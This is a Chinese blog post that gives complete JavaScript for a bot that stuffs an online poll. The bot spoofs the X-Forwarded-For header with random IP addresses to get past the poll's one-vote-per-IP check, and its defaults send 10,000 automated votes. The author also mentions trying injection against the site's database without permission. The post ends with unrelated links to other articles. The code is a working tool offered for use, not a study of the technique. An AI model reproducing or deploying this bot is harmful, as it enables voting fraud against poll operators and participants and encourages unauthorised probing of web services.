【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)
帮朋友忙网络投票,粗粗地看了下,投票没有什么限制,仅有一个ip校验:每天每个ip仅能投票一次。
也就是说,可以写一个程序,自动更换IP地址(伪造IP地址),实现批量刷票的目的。于是我写了一个投票机器人。。。
解决办法
1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
以下代码用于生成随机IP地址:
function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
2、网络投票全代码,投票地址已经隐去:
<span style="font-size: small;"><span style="line-height: 18px;"><script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest)
{ xmlhttp = new XMLHttpRequest(); }
if (!xmlhttp&&window.ActiveXObject)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
}
catch(e)
{
try {
new ActiveXObject("Msxml2.XMLHTTP")
}
catch(e)
{
try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
}
}
}
}
if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
} var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
} function onSearch(){
var g_xmlhttp=CreateXMLHttp2(); if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp(); var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){ }
} function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br /> <input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" onclick="startInit();onSearch();"
value="开始" />
<input id="search" type="button" onclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
</span></span>
需要注意的是,不能投票太快,投票时间要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
希望这个例子对大家有所启发。
【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)的更多相关文章
- 一步步教你如何在ubuntu虚拟机中安装QEMU并模拟arm 开发环境(二)rootfs制作
过了,一天,周又到了,博主终于可以拿出时间来把上一次没有给大家展示完了的内容今天在这里一并展示给大家,希望和大家共同进步,共同学习,同时我也虔诚的希望各位业界的朋友把自己的工作经验拿出来大家一起分享, ...
- 利用Javascript制作网页特效(其他常见特效)
设置为首页和加入收藏夹 ①:在body标签内输入以下代码: <a onclick="this.style.behavior='url(#default#homepage)'; this ...
- 利用Javascript制作网页特效(窗口特效)
全屏显示窗口 利用fullscreen=yes可以制作全屏显示窗口. ①:在body标签内输入以下代码: <div align="center"> <input ...
- 利用Javascript制作网页特效(图像特效)
图像是文本的解释和说明,在网页中的适当位置放置一些图像,不仅可以使文本更加容易阅读,而且可以使网页更加具有吸引力. 当鼠标指针经过图像时图像振动效果 ①:在head标签内输入以下代码: <sty ...
- 利用Javascript制作网页特效(时间特效)
在网页中经常可以看到各种各样的动态时间显示,在网页中合理地使用时间可以增加网页的时效感. 显示当前时间 getHours().getMinutes().getSeconds()分别获得当前小时数.当前 ...
- 利用JavaScript制作计算器
<html> <head> <meta charset="utf-8"> <title>无标题文档</title> &l ...
- 利用JavaScript制作简易日历
<html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <met ...
- 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片
利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...
- 利用javascript:void(0)制作假的提交按钮替代button
在写html页面,我们很自然的在表单提交的地方采用button来作为提交按钮,但是,用<button type=”button”>按钮</button>作为提交代码会有个问题, ...
随机推荐
- 蜗牛慢慢爬 LeetCode 20. Valid Parentheses [Difficulty: Easy]
题目 Given a string containing just the characters '(', ')', '{', '}', '[' and ']', determine if the i ...
- 关于idea使用快捷键复制一行代码,屏幕倒置处理办法
在idea里面设置使用eclipse的Keymap键盘布局,复制一行代码的快捷键是[ctrl+alt+down],但是在使用后发现屏幕倒置了,原因是该快捷键和显卡快捷键冲突了,处理办法如下图,关闭显卡 ...
- Java中的多线程科普
如果对什么是线程.什么是进程仍存有疑惑,请先Google之,因为这两个概念不在本文的范围之内. 用多线程只有一个目的,那就是更好的利用cpu的资源,因为所有的多线程代码都可以用单线程来实现.说这个话其 ...
- dotTrace快速帮助你定位C#代码的性能瓶颈
dotTrace 1. 问题描述 IIS发布的接口运行一段时间后变的很慢,重启IIS连接池后问题得到解决,但是运行一段时间后再次出现变慢的问题 2. 问题原因 程序中有读取xml文件的 ...
- SEO优化之HTML代码优化最重要的5个标签
众所周知,HTML代码一直是搜索引擎抓取的重点.搜索引擎会将HTML中的某些元素标签作为影响网页排名的重要依据 在我们之前的文章中也或多或少地向大家介绍了有关HTML代码的优化技巧,接下来将系统地讲解 ...
- [转帖]CentOS基础命令大全
https://www.toutiao.com/i6601298434651587085/ 1.关机 (系统的关机.重启以及登出 ) 的命令 shutdown -h now 关闭系统(1) init ...
- Shopping Bands Rank & SBR
Shopping Bands Rank SBR https://www.guiderank.org/index.html Nike Air Zoom Pegasus 34 http://www.shi ...
- Memcache服务器端+Redis服务器端+PHP Memcache扩展+PHP Memcached扩展+PHP Redis扩展+MemAdmin Memcache管理工具+一些概念(更新中)
Memcache和Redis因为操作简单,是我们常用的服务器数据缓存系统,以下文字仅作备忘记录,部份转载至网络. 一.定义 1.Memcache Memcache是一个高性能的分布式的内存对象缓存系统 ...
- javascript易混淆的split()、splice()、slice()方法详解
很多时候,一门语言总有那么些相似的方法,容易让人傻傻分不清楚,尤其在不经常用的时候.而本文主要简单总结了JavaScript中的关于字符串和数组中三个容易混淆的方法.旨在方便查阅,在容易混淆的时候有据 ...
- 03.基于IDEA+Spring+Maven搭建测试项目--常用dependency
<!--常用的依赖配置--> <!--未展示完整的pom.xml文件内容--> <properties> <java.version>1.8</j ...